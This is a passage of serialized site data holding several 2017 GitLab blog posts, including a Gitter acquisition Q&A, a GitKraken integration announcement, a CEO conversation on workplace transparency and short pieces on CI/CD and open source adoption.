src=\"//page.gitlab.com/js/forms2/js/forms2.min.js\">\u003C/script>\n\u003Cdiv class=\"newsletter-form\" style=\"width:50%;margin:auto;\">\n\u003Cform id=\"mktoForm_1328\">\u003C/form>\n\u003Cscript>\n  MktoForms2.loadForm(\"//page.gitlab.com\", \"194-VVC-221\", 1328, function(form) {\n    form.onSuccess(function(values, followUpUrl) {\n\n      form.getFormElem().hide();\n      document.getElementById('confirmform').style.visibility = 'visible';\n\n      return false;\n    });\n\n  });\n\u003C/script>\n\u003Cdiv id=\"confirmform\" style=\"visibility:hidden;\">\n\u003Cp style=\"width:50%;margin:auto;\">Thanks for subscribing!\u003C/p>\n\u003C/div>\n\u003C/div>\n\n## Q&A\n\n**Can I continue to use Gitter with GitHub accounts and projects?**\n\nAbsolutely. Login with GitHub and Twitter will continue to work, as well as all of the integrations we have today with GitHub issues and other services. We have had a GitLab integration for a long time, and will improve this by adding the ability to login with your GitLab.com account.\n\n**When do you plan to open-source Gitter?**\n\nWe have a little bit of work to do to remove some internal configuration and operating parameters from the Gitter [source code](/solutions/source-code-management/). We expect to have this completed and to move the code over to GitLab.com no later than June 2017.\n\n**Will I be able to run my own Gitter instance?**\n\nGitter will not be shipped as part of GitLab, but once the code is available as open source (MIT License), you will be able to run Gitter on your own infrastructure.\n\n**What about Mattermost, how is this different?**\n\nGitter was built to be used in the open. We’ve always seen Gitter as a network, or a place where people can come to connect to one another. Team collaboration, whilst possible, has never been a core aspect of the Gitter experience.\n\nMattermost is a powerful, integrated messaging product for team collaboration - we will continue to ship and recommend using Mattermost for internal team communication.\n\n**How is this different to Slack?**\n\nMany communities have leveraged the Slack API to force it to work for communities. Slack is certainly a great product, but has limitations for large communities and public usage. All of Gitter’s public conversation history is completely unlimited, open, archived and indexed by popular search engines, contributing the public knowledge base of the internet.\n\n**Will there be a GitLab community on Gitter?**\n\nThere’s been a community-supported room on Gitter for quite a while, feel free to pop in and say hi. This room isn’t an official support channel and we hope to grow this community over the coming months.\n",{"slug":36131,"featured":6,"template":678},"gitter-acquisition","content:en-us:blog:gitter-acquisition.yml","Gitter Acquisition","en-us/blog/gitter-acquisition.yml","en-us/blog/gitter-acquisition",{"_path":36137,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36138,"content":36144,"config":36149,"_id":36151,"_type":16,"title":36152,"_source":17,"_file":36153,"_stem":36154,"_extension":20},"/en-us/blog/axosoft-launches-gitkraken-integration-with-gitlab",{"title":36139,"description":36140,"ogTitle":36139,"ogDescription":36140,"noIndex":6,"ogImage":36141,"ogUrl":36142,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36142,"schema":36143},"Axosoft launches GitKraken integration with GitLab","Manage GitLab repositories directly from GitKraken — get a 20% discount on GitKraken Pro","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684119/Blog/Hero%20Images/gitlab-gitkraken-cover-image.png","https://about.gitlab.com/blog/axosoft-launches-gitkraken-integration-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Axosoft launches GitKraken integration with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Sparrow\"}],\n        \"datePublished\": \"2017-03-14\",\n      }",{"title":36139,"description":36140,"authors":36145,"heroImage":36141,"date":36147,"body":36148,"category":299},[36146],"John Sparrow","2017-03-14","\n\nWith this new integration, GitLab users can now work more efficiently in GitKraken to manage repositories. Save time by leveraging GitKraken’s integration with GitLab to do things like generate and connect SSH keys, find available remote repositories to clone, and more—all without ever leaving GitKraken.\n\n\u003C!-- more -->\n\n## What is GitKraken?\n\n[GitKraken](https://www.gitkraken.com/) is a Git GUI client for Windows, Mac, and Linux. It’s designed to make you a more productive Git user by making Git commands and processes easy, fast, and intuitive. It provides a visually appealing experience that requires fewer interactions and allows for a more fluid workflow; it even has a built-in merge tool so you don’t have to interrupt your workflow by switching applications to resolve merge conflicts. And, if you make a mistake, you can click the undo button.\n\nThe GitKraken dev team at Axosoft has been working on a few integrations to keep user workflow running smoothly, particularly when interacting with remote services. We’ve been working on a specific integration that we’re super excited about and think you will be too — our GitLab integration!\n\n![Kraken plus Tanuki](https://about.gitlab.com/images/blogimages/gitlab-gitkraken.png){: .shadow}\n\n## GitKraken and GitLab\n\nGitLab has steadily been improving its API, allowing third-party developers to harness the power of its infrastructure in their apps. Of particular interest to the GitKraken team was the remote management of Git repositories. So, naturally, we started working to leverage these capabilities, and now we’re excited to announce [GitKraken v2.2](https://blog.axosoft.com/2017/03/09/gitkraken-v2-2/) with GitLab integration!\n\nGrabbing the URL of a repo and using it as a remote in GitKraken has always been possible, but actually integrating was not, until version 2.2. Here are the various ways GitLab now integrates across GitKraken.\n\n## Integration highlights\n\n### 1. Add and remove SSH keys\n\nYou can now generate an SSH key and connect it directly to GitLab from within Gitraken! Simply open **Preferences > Authentication**, click on the GitLab.com Tanuki (logo) tab, click **Connect**, and authenticate with GitLab. You’re done!\n\n![authentication](https://about.gitlab.com/images/blogimages/gitkraken-partnership-one.png){: .shadow}\n\n![connection successful](https://about.gitlab.com/images/blogimages/gitkraken-partnership-two.png){: .shadow}\n\n### 2. Initialize a repo\n\nOpen GitKraken’s Repository Management modal, and select **Init**. From there, you can choose whether to initialize Git in a current directory on your local machine, or GitKraken can create a new bare project for you directly on GitLab.com, and then clone it down locally.\n\n![init](https://about.gitlab.com/images/blogimages/gitkraken-partnership-three.png){: .shadow}\n\n### 3. Clone a repo from a GitLab account\n\nIf you already have a GitLab.com remote repo set up, cloning it is extremely easy - you don't even have to touch the command line. In the Repository Management modal, select **Clone** and you can browse (and fuzzy find) the repo on your GitLab remote that you wish to clone. As you type, GitKraken will drill down to the appropriate repo names that match your search terms.\n\nYou can then browse the local folder to which you want to clone the repo, and you’re done!\n\n![clone](https://about.gitlab.com/images/blogimages/gitkraken-partnership-four.png){: .shadow}\n\n### 4. Remote avatars in the graph and left panel\n\nIf you have multiple remotes and multiple repos, the owners of those remotes/repos can be difficult to identify, and it can be challenging to find who you’re looking for at a glance. In the graph and left panel views, repository and remote owners’ avatars in their GitLab.com accounts will be shown as thumbnails next to what they own. Just bear in mind that not everyone is as cute as a tanuki.\n\n![remote](https://about.gitlab.com/images/blogimages/gitkraken-partnership-five.png){: .shadow}\n\nThose are GitKraken's current integrations with GitLab! But, the story doesn’t end there. **Spoiler alert:** The GitLab and GitKraken teams are committed to making this integration even better!\n\nWho would have thought a kraken and a tanuki could find so much common ground?\n\n## About the Guest Author\n\nJohn is a web developer, wordsmith and digital artist from London, UK. As Axosoft's token Brit, he works on websites and marketing content.\n\n",{"slug":36150,"featured":6,"template":678},"axosoft-launches-gitkraken-integration-with-gitlab","content:en-us:blog:axosoft-launches-gitkraken-integration-with-gitlab.yml","Axosoft Launches Gitkraken Integration With Gitlab","en-us/blog/axosoft-launches-gitkraken-integration-with-gitlab.yml","en-us/blog/axosoft-launches-gitkraken-integration-with-gitlab",{"_path":36156,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36157,"content":36163,"config":36166,"_id":36168,"_type":16,"title":36169,"_source":17,"_file":36170,"_stem":36171,"_extension":20},"/en-us/blog/buffer-and-gitlab-ceos-talk-transparency",{"title":36158,"description":36159,"ogTitle":36158,"ogDescription":36159,"noIndex":6,"ogImage":36160,"ogUrl":36161,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36161,"schema":36162},"GitLab & Buffer CEOs talk transparency at scale","The two transparency advocates recently met to talk about openness in business, what they keep confidential, and some things they've learned as their companies grow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683999/Blog/Hero%20Images/ee-products-hero-image.jpg","https://about.gitlab.com/blog/buffer-and-gitlab-ceos-talk-transparency","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab & Buffer CEOs talk transparency at scale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2017-03-14\",\n      }",{"title":36158,"description":36159,"authors":36164,"heroImage":36160,"date":36147,"body":36165,"category":6634},[22017],"\n\nJoel Gascoigne, CEO of [Buffer](https://buffer.com/), a social media management tool, recently met GitLab CEO Sytse (Sid) Sijbrandij on a call to chat about one of their favorite topics: transparency in their respective companies.\n\n\u003C!-- more -->\n\n“I feel like I know you already,” seemed like a sentiment shared by both men, since each has a vast public footprint online. This isn’t an accident, but a result of their shared philosophy that the traditional business’ tendency towards secrecy is not only unnecessary, but at times wrongheaded and even harmful.\n\nBeing open by default has led to unconventional choices. Both companies are remote only, making the impulse to document everything a necessary one for organizational knowledge. After all that effort, it’s a short jump to hit ‘publish,' and teams in both companies have developed a habit of doing so. Buffer has made their financial model predicting the company’s health available to all employees. Their [transparency dashboard](https://buffer.com/transparency) also includes details on equity breakdown by individual, demographics of applicants and employees, pricing, fundraising, and [every email](https://open.buffer.com/buffer-transparent-email/) sent by teammates.\n\nGitLab recently rolled out a [salary calculator](/handbook/total-rewards/compensation/) on our jobs page, and our company [handbook](/handbook/) is entirely public, including details on the [hiring process](/handbook/hiring/) and how we should [respond](https://gitlab.com/gitlab-com/runbooks/merge_requests/194#note_24603440) in the event of a crisis. We recently [live-streamed](https://docs.google.com/document/d/1GCK53YDcBWQveod9kfzW-VCxIABGiryG7_z_6jHdVik/pub) the recovery of deleted production data. Finally, Sid’s monthly email to our board is also sent to all team members, including all the good and the bad from the previous 30 days.\n\nHere are some highlights from their conversation, which, naturally, they wanted to share.\n\n## How do you share salary and career progression info?\n\n**Sid:** We’re early to the salary calculator; we created bands so that engineers can make progress while not becoming a manager. GitLab does not make actual salaries public because raises are based on performance, which is one of the rare things that we tightly guard. This is becoming a challenge because there seems to be uneven progression available on the business and engineering sides; we’re still working on how to create a clear growth path on the business side.\n\n**Joel:** We use a salary formula to calculate each team member's salary. Within the formula we have four levels: Entry Level, Intermediate, Advanced, and Master. In practice, we realized that these various levels left room for bias, and it wasn’t clear how one person might go from “Intermediate” to “Advanced,” for example, so we started thinking about putting together a clear career progression framework throughout Buffer. We're including more explicit definitions and suggesting timeframes to move from one level to another. Our goal is to apply this framework across all teams at Buffer. We have evolved the framework to include levels on the engineering side by designating people as “engineer one, two, three,” etc., and we’re also aiming to provide the same clarity amongst other teams. Our happiness (customer support) and marketing teams are currently working on their career paths as well.\n\n## Which things do you keep categorically confidential?\n\n**Sid:** We never talk about conditions under which people leave the company, and performance feedback is never public. We’re worried about information being damaging to the person when they apply for new jobs and give reference calls. We think it’s unfair because the person cannot share their perspective. It’s hard when a colleague leaves the company and the team is accustomed to total openness, but we think that this is a case where transparency could harm the person who left. They shouldn’t be punished in seeking new opportunities simply because we’re likely more transparent than their new employer. We used to say that the person was on a performance improvement plan (PIP) and it didn’t work, but stopped because PIPs gained a negative connotation. We’re working to replace it with a [proactive, positive way](/handbook/leadership/underperformance/) to help people grow in their roles.  \n\n**Joel:** At Buffer, we do share information when people leave the company, but we keep the details of the feedback and performance improvement plan private leading up to that. We experimented with fully transparent feedback for a few months, but it didn’t work out very well. People weren’t keen to give transparent feedback very often. Sharing something potentially sensitive about an area someone can improve in can be difficult to do 1:1, so doing it publicly made things even harder. On the few occasions when someone managed to provide constructive feedback to another teammate, it quickly became a much bigger thing, due to its public nature. Frequently, we had other people jump into the discussion to provide their opinion of the situation, which is only natural if you have full context and feel you have a valuable perspective to offer. Ultimately we decided that fully transparent feedback didn’t quite work for us, though we still publicly celebrate achievements and provide positive feedback in Slack and Discourse.\n\n## How do you talk about company culture?\n\n**Sid:** I recently decided to [stop using the phrase culture fit](https://gitlab.com/gitlab-com/www-gitlab-com/merge_requests/5182/diffs), because we have to be mindful when building a diverse, accepting company. Often “culture fit” is a shorthand that excuses hiring only people who look like ourselves, or who want a “brogrammer” culture. It’s better to tie to [values](https://handbook.gitlab.com/handbook/values/).\n\n**Joel:** Buffer uses the phrase “cultural contribution,” for similar reasons; we want to focus more on what people bring to their jobs. Do you have a scorecard for assessing different factors?\n\n**Sid:** Not yet. That could be beneficial going forward to see how top performers scored in different areas. During the interview I use 12 questions [on the website](https://docs.google.com/forms/d/e/1FAIpQLScXUW07w36Ob2Y2XQuESBaYqU5_c1SoweGS1BzGHnbesISGXw/viewform) that applicants answer ahead of time. It’s not all qualitative, though. Our technical standards are very high and developers have to actually develop something on GitLab.\n\n## How has your approach been challenged as you grow?\n\n**Sid:** Some pain points for us have been our beloved team calls — it’s a great way to get to know everyone on the team, but our number is so large now it takes a long time. Structuring the team has also been a challenge. We aim to have a maximum of ten people reporting to any one person, but it means we’re getting more segmented. At Y Combinator, everyone was either selling or building, with myself doing everything else. Now I have offloaded finance and business operations on other people, and now I have to stop focusing so much on the product. Now I work with reports to get changes into the handbook, so I have to keep in mind: “You’re building the company that’s building the product.” Having people in so many time zones also means everyone has to stay disciplined about when they ping people: it’s preferred to use issues first, then email, then Slack. For product management we prefer to use GitLab for everything.\n\n**Joel:** At Buffer we’re having some remote work issues. Things are starting to feel more synchronous because we use chat a lot. Something about chat makes it feel urgent, so people are responding right away to things that they might not need to. Buffer uses Dropbox Paper; hierarchy doesn’t really exist so we need more of a wiki system, and we need to be able to distinguish between source of truth docs and docs used for short-term progress.\n\n## Who are some of your biggest inspirations?\n\n**Sid:** Buffer has been an inspiration for transparency. For getting results and going after what your customers need: Amazon. Tesla and SpaceX are great examples of doing the impossible by focusing on the basics. Also, our team members think of new ways to get the most out of remote work: someone recently proposed a GitLab house swap, and two team members used our travel policy [to visit 22 locations over six months](/blog/around-the-world-in-6-releases/).   \n\n**Joel:** Amazon is one of mine as well, [\"The Best Service is No Service\"](https://www.amazon.com/dp/B008L047UK/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1) by their head of customer success is great. Zappos, and recently Patagonia as well. I like their attitude towards avoiding the “deferred life plan,” which is a huge benefit of remote work. I recently read [\"Joy at Work\"](https://www.amazon.com/dp/B0027VSQL0/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1), by Dennis Bakke, founder of AES. Interestingly, “fun” was a company value, not ping pong tables but really making sure everyone has responsibility and satisfaction at work.\n\n_Have more questions? Tweet [@joelgascoigne](https://twitter.com/joelgascoigne) and [@sytses](https://twitter.com/sytses) using #transparencytalk_\n",{"slug":36167,"featured":6,"template":678},"buffer-and-gitlab-ceos-talk-transparency","content:en-us:blog:buffer-and-gitlab-ceos-talk-transparency.yml","Buffer And Gitlab Ceos Talk Transparency","en-us/blog/buffer-and-gitlab-ceos-talk-transparency.yml","en-us/blog/buffer-and-gitlab-ceos-talk-transparency",{"_path":36173,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36174,"content":36179,"config":36183,"_id":36185,"_type":16,"title":36186,"_source":17,"_file":36187,"_stem":36188,"_extension":20},"/en-us/blog/ci-cd-demo",{"title":36175,"description":36176,"ogTitle":36175,"ogDescription":36176,"noIndex":6,"ogImage":10711,"ogUrl":36177,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36177,"schema":36178},"Demo: CI/CD with GitLab in action","Watch our video to see how to get started using CI/CD with GitLab.","https://about.gitlab.com/blog/ci-cd-demo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo: CI/CD with GitLab in action\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-03-13\",\n      }",{"title":36175,"description":36176,"authors":36180,"heroImage":10711,"date":36181,"body":36182,"category":734},[19026],"2017-03-13","\n\nIf your developer team isn’t among the [majority of developers using Continuous Integration](/blog/ci-integral-to-everyday-work/) more than 75 percent of the time, what are you waiting for? In this video demonstration, Product Manager [Joshua Lambert](https://gitlab.com/joshlambert) shows just how easy it is to set up a project with [GitLab CI/CD](/topics/ci-cd/), so you can start seeing features in action from the moment your teams create them.\n\n\u003C!-- more -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/1iXFbchozdY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nThis demonstration is part of our webcast, “From Continuous Integration to Continuous Everything”. To find out more about Continuous Integration, [Delivery and Deployment](/blog/continuous-integration-delivery-and-deployment-with-gitlab/), and how to introduce a continuous mentality throughout your entire organization, [register now](https://page.gitlab.com/20170301_continuouseverything.html) to watch the whole webcast on demand.\n\nCover image: “[DSC_0179.jpg](https://www.flickr.com/photos/150654414@N02/32770042176)” by [Hilary Halliwell](https://www.flickr.com/photos/150654414@N02/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/)\n{: .note}\n",{"slug":36184,"featured":6,"template":678},"ci-cd-demo","content:en-us:blog:ci-cd-demo.yml","Ci Cd Demo","en-us/blog/ci-cd-demo.yml","en-us/blog/ci-cd-demo",{"_path":36190,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36191,"content":36197,"config":36201,"_id":36203,"_type":16,"title":36204,"_source":17,"_file":36205,"_stem":36206,"_extension":20},"/en-us/blog/your-engineers-need-to-understand-your-business-heres-why",{"title":36192,"description":36193,"ogTitle":36192,"ogDescription":36193,"noIndex":6,"ogImage":36194,"ogUrl":36195,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36195,"schema":36196},"Invite your engineers to talk business. Here's why.","Traditionally, engineers may have been shielded from the \"business parts\" of the organization. In today’s technology landscape, that’s no longer a viable option.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683990/Blog/Hero%20Images/invite-your-engineers-to-talk-business-heres-why.jpg","https://about.gitlab.com/blog/your-engineers-need-to-understand-your-business-heres-why","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Invite your engineers to talk business. Here's why.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2017-03-07\",\n      }",{"title":36192,"description":36193,"authors":36198,"heroImage":36194,"date":36199,"body":36200,"category":8943},[30512],"2017-03-07","\n\nEvery business today is a technology business. Whether it supports your business model or itself _is_ the business model, your technology stack plays a key role. What your engineering team ships, and how they ship, has direct and measurable consequences for your business, even if they traditionally prefer to think otherwise. Engineering goals are now closer than ever to business goals, and understanding that will help companies thrive in the business technology world today.\n\n\u003C!-- more -->\n\nThe idea of [software craftsmanship](https://en.wikipedia.org/wiki/Software_craftsmanship) dictates that the profession of software engineer should be analogous to that of civil engineer. Increased professionalism (in the style of [Uncle Bob](https://en.wikipedia.org/wiki/Robert_Cecil_Martin)) suggests that software engineers' work should carry the same weight, and their failures the same consequences, as physicians and civil engineers.\n\nThese are noble goals for software engineers, especially if you are building software to operate a [bascule (draw) bridge](https://en.wikipedia.org/wiki/Bascule_bridge)! Unfortunately, they are challenged daily by business managers who just want functionality, but may not care about the underlying mess supporting it; they think that engineers who constantly try to clean up that mess are wasting time chasing after esoteric technical standards. Engineers, on the other hand, want to always deliver and maintain quality work, and they are less concerned about the business and the end users. This lack of communication and alignment creates distrust and inefficiencies — it just doesn't work.\n\n## Code quality as a means to further your business\n\nA better approach that more and more organizations — including GitLab — have embraced is lending a greater business voice to your engineering organization, and of course demanding greater responsibility. Have your engineering team communicate the benefits of maintaining quality code, and why the costs of increased engineering resources (people and time, typically) are justified by tangible business outcomes. Along with a clean and adaptable codebase, quality code allows you to:\n\n* Add new features quickly\n* Remove existing features since it's relatively easy to identify which code contributes to those features, and which does not\n* Change existing features, for reasons similar to above\n* Have a more stable platform with fewer defects and security problems, again due to predictability of your code\n* Deploy code quickly, with fewer manual configuration steps, reducing the time from decision to when you go live\n\nNote that all the benefits above are _business benefits_! Your software engineers already know these are possible and goals that they themselves already aspire to achieve.\n\n## Can you ever skimp on code quality?\n\nThe short answer is: it depends on the company. For mature organizations shipping well-established products, it's likely the market cannot absorb shocks or big changes in the product. Performance, security, and privacy are very important, especially for highly regulated industries. Code quality is crucial for these companies, and luckily, they typically have more resources to easily handle the cost of maintaining that quality. Code quality should always be the rule, with very little exceptions, and engineering and business should communicate along those lines.\n\nIn either a small startup or a large organization shipping a product quickly to compete, I'd argue that you can _and should_ skimp on code quality. Engineers may not be a fan when reading this, but this draws on the concept of _technical debt_ or _tech debt_. Sometimes a startup has to strategically incur tech debt to push out a product or feature update more quickly, to get the timing just right.\n\nIf you instead choose to maintain that 100 percent quality code, you lose out on the opportunity, and don't even have a business in 2 months, totally defeating the purpose of your software development in the first place. You'd have gained a beautiful codebase, but lost a viable business. Just as any healthy business regularly pays back old debt and takes on new, you need to clean up previously incurred tech debt so that your codebase doesn't slow down your business.\n\n## Engineering goals are business goals\n\nIn the past, engineers were often removed from business discussions. Business managers established requirements, and threw those over the wall to engineering managers who would reciprocate with delivery timelines. In today's technology-driven business landscape, that's no longer a viable option for success. Both parties need to work closely together in order to survive in a competitive software world.\n\nMaintaining code quality is a great bridge in this effort, since engineers can easily articulate its practical benefits that are readily translated into positive business outcomes. You should continually analyze your business and take advantage of new tech debt as the need arises. There is a lot of technical nuance to this delicate balance, and so your engineering team should be presenting the options and offering a strong recommendation. Your engineers need to be strong _business leaders_.\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Watch our webcast &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>Code Review: A Business Imperative\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;on demand. \u003Ca style=\"color: rgb(107,79,187);\" href=\"https://www.youtube.com/watch?v=XluG9mAQdSo&feature=youtu.be\">Watch here\u003C/a>!\u003C/p>\n\n",{"slug":36202,"featured":6,"template":678},"your-engineers-need-to-understand-your-business-heres-why","content:en-us:blog:your-engineers-need-to-understand-your-business-heres-why.yml","Your Engineers Need To Understand Your Business Heres Why","en-us/blog/your-engineers-need-to-understand-your-business-heres-why.yml","en-us/blog/your-engineers-need-to-understand-your-business-heres-why",{"_path":36208,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36209,"content":36214,"config":36218,"_id":36220,"_type":16,"title":36221,"_source":17,"_file":36222,"_stem":36223,"_extension":20},"/en-us/blog/introduce-continuous-workflows",{"title":36210,"description":36211,"ogTitle":36210,"ogDescription":36211,"noIndex":6,"ogImage":12888,"ogUrl":36212,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36212,"schema":36213},"3 Tips for introducing continuous workflows to your development process","Continuous doesn’t stop at integration – here's how to use it to your advantage throughout your development process.","https://about.gitlab.com/blog/introduce-continuous-workflows","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"3 Tips for introducing continuous workflows to your development process\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-03-06\",\n      }",{"title":36210,"description":36211,"authors":36215,"heroImage":12888,"date":36216,"body":36217,"category":6634},[19026],"2017-03-06","\n\nWe know that developers see [Continuous Integration as an integral part of their workflow](/blog/ci-integral-to-everyday-work/), but working in a continuous manner goes beyond just the technical. Here are some ways your teams can be more continuous throughout the development lifecycle.\n\n\u003C!-- more -->\n\n##  Adopt DevOps\n\nReleases get delayed and broken code gets shipped when communication between teams breaks down and expectations aren’t managed. If this sounds all too familiar, [DevOps might help](/topics/devops/): it’s a set of practices for developing software that emphasises integration and collaboration between teams and sharing responsibility for the outcome. This combats the “silo” mentality that often results in one team completing their portion of a project and passing it on without giving any thought to how the next team will be able to perform their role.\n\nDevOps means working together and keeping each other in the loop throughout the entire software development lifecycle. By updating each other early and often, you can collect feedback regularly and integrate suggestions throughout the process. Below are three ways you can adopt DevOps for your own needs:\n\n### 1. Decentralize your structure\n\nContinuous Integration gives developers immediate feedback that code for a bug fix or new feature has broken the build, and using Git they can discuss and collaborate on solutions. These benefits are negated if they have to wait around for permission to make changes addressing any issues they run into.\n\nReleases are delayed by teams waiting for approval from up top to implement solutions. If they hit a roadblock, teams that are empowered to make their own decisions about how to address it can implement fixes more quickly, reducing the impact on your delivery rates. This is not just true for your developers: teams in other areas of the business can work more efficiently if they’re entrusted with their own troubleshooting.\n\n### 2. Monitor continuously\n\nOf course you want your product to be aligned to your customers’ needs. If you want to improve continuously, you need a consistent stream of feedback to work from. Encourage explicit feedback by inviting your customers to give it, but you can also gather implicit feedback by monitoring behavior with your product and exploring analytics.\n\n### 3. Do it your way\n\nThis isn’t a race, and becoming more continuous can be a gradual process. Find a way of adopting these ways of working that works for you: choose which DevOps elements are suitable for your product and your company, introduce them and monitor how they are working. Treat it much the same way that you would integrate feedback about your product continuously and release incremental changes.\n\n\n\n\n\u003Cp class=\"alert alert-orange\" style=\"background-color: rgba(252,163,38,.3); border-color: rgba(252,163,38,.3); color: rgb(226,67,41) !important; text-align: center;\">Watch our &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i> &nbsp;&nbsp;\u003Cstrong>From Continuous Integration to Continuous Everything\u003C/strong> &nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;webcast. \u003Ca style=\"color: rgb(107,79,187);\" href=\"https://page.gitlab.com/20170301_continuouseverything.html\">Register here\u003C/a>!\u003C/p>\n\nImage: “[Blue Loops](https://www.flickr.com/photos/drainrat/14017306767)” by [darkday](https://www.flickr.com/photos/drainrat/) is licensed under [CC BY 2.0](https://creativecommons.org/licenses/by/2.0/)\n{: .note}\n",{"slug":36219,"featured":6,"template":678},"introduce-continuous-workflows","content:en-us:blog:introduce-continuous-workflows.yml","Introduce Continuous Workflows","en-us/blog/introduce-continuous-workflows.yml","en-us/blog/introduce-continuous-workflows",{"_path":36225,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36226,"content":36231,"config":36236,"_id":36238,"_type":16,"title":36239,"_source":17,"_file":36240,"_stem":36241,"_extension":20},"/en-us/blog/why-choose-open-source",{"title":36227,"description":36228,"ogTitle":36227,"ogDescription":36228,"noIndex":6,"ogImage":15444,"ogUrl":36229,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36229,"schema":36230},"Why more companies are adopting open source technology","The results are in – our 2016 Global Developer Survey revealed that open source tools are most preferred by developers the world over. Why?","https://about.gitlab.com/blog/why-choose-open-source","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why more companies are adopting open source technology\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2017-03-03\",\n      }",{"title":36227,"description":36228,"authors":36232,"heroImage":15444,"date":36233,"body":36234,"category":813,"tags":36235},[19026],"2017-03-03","\n98 percent of developers use open source tools – even when they’re not supposed to! Here’s why.\n\n\u003C!-- more -->\n\nOur [Global Developer Report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) explores how developers’ methods are changing, and how businesses can adapt to get the best out of their development teams. More than half of our respondents identified as developer or engineer, giving us insight into what matters to developers, how they work and what tools they choose. To see what our research revealed, you can [download the full report](https://page.gitlab.com/2016-developer-survey_2016-developer-survey.html) to learn more about what today’s developers want.\n\n## Why open source is preferred\n\nNearly three-quarters of our survey respondents said that they chose to work with GitLab because it’s open source. So why is [open source](/solutions/open-source/) so popular?\n\n### Software evolves faster\n\nWith roots in the open source community, software is able to evolve quickly, with bugs detected and fixed rapidly by members of that community. This reduces the time spent waiting for fixes to be rolled out – a good case for why the majority of our survey respondents say that more than half of the tools they use are open source.\n\n![How much open source is used](https://about.gitlab.com/images/blogimages/open-source-tools-graph.png){: .shadow}\u003Cbr>\n\n### You know what you’re getting\n\nOpen source software is also considered more trustworthy: with source code open and available to inspect, developers can see for themselves exactly what it does. They can verify whether or not it's secure and introduce fixes and improvements if necessary.\n\n### You can adapt it yourself\n\nIf developers want to adapt a feature or add something that will make their jobs easier, they have the freedom to do so without relying on the software vendor to make the change. Open source also makes it easier to integrate different software products to suit the needs of the business.\n\n## Developers overwhelmingly choose open source\n\nSenior leadership only selects tools for their teams less than 20 percent of the time, and 11 percent of developers still choose to use their own open source tools, despite what their managers say. This poses a risk to companies insisting on closed source solutions for their developer teams: it compromises your ‘single source of truth’, risks team happiness and cohesion, and wastes resources spent on unused tools.\n\n![Who chooses development tools](https://about.gitlab.com/images/blogimages/who-in-org-decides-tools-graph.png){: .shadow}\u003Cbr>\n\nThe message is clear: when developers have the freedom to choose their tools (and sometimes even when they don’t!), they choose open source – maybe it’s time your company did too.\n\nImage: “[brooklyn sign](https://www.flickr.com/photos/petemccarthy/6866996865)” by [Peter McCarthy](https://www.flickr.com/photos/petemccarthy/) is licensed under [CC BY-ND 2.0](https://creativecommons.org/licenses/by-nd/2.0/)\n{: .note}\n",[815],{"slug":36237,"featured":6,"template":678},"why-choose-open-source","content:en-us:blog:why-choose-open-source.yml","Why Choose Open Source","en-us/blog/why-choose-open-source.yml","en-us/blog/why-choose-open-source",{"_path":36243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":36244,"content":36249,"config":36254,"_id":36256,"_type":16,"title":36257,"_source":17,"_file":36258,"_stem":36259,"_extension":20},"/en-us/blog/why-we-are-not-leaving-the-cloud",{"title":36245,"description":36246,"ogTitle":36245,"ogDescription":36246,"noIndex":6,"ogImage":12013,"ogUrl":36247,"ogSiteName":1180,"ogType":1181,"canonicalUrls":36247,"schema":36248},"Why we are not leaving the 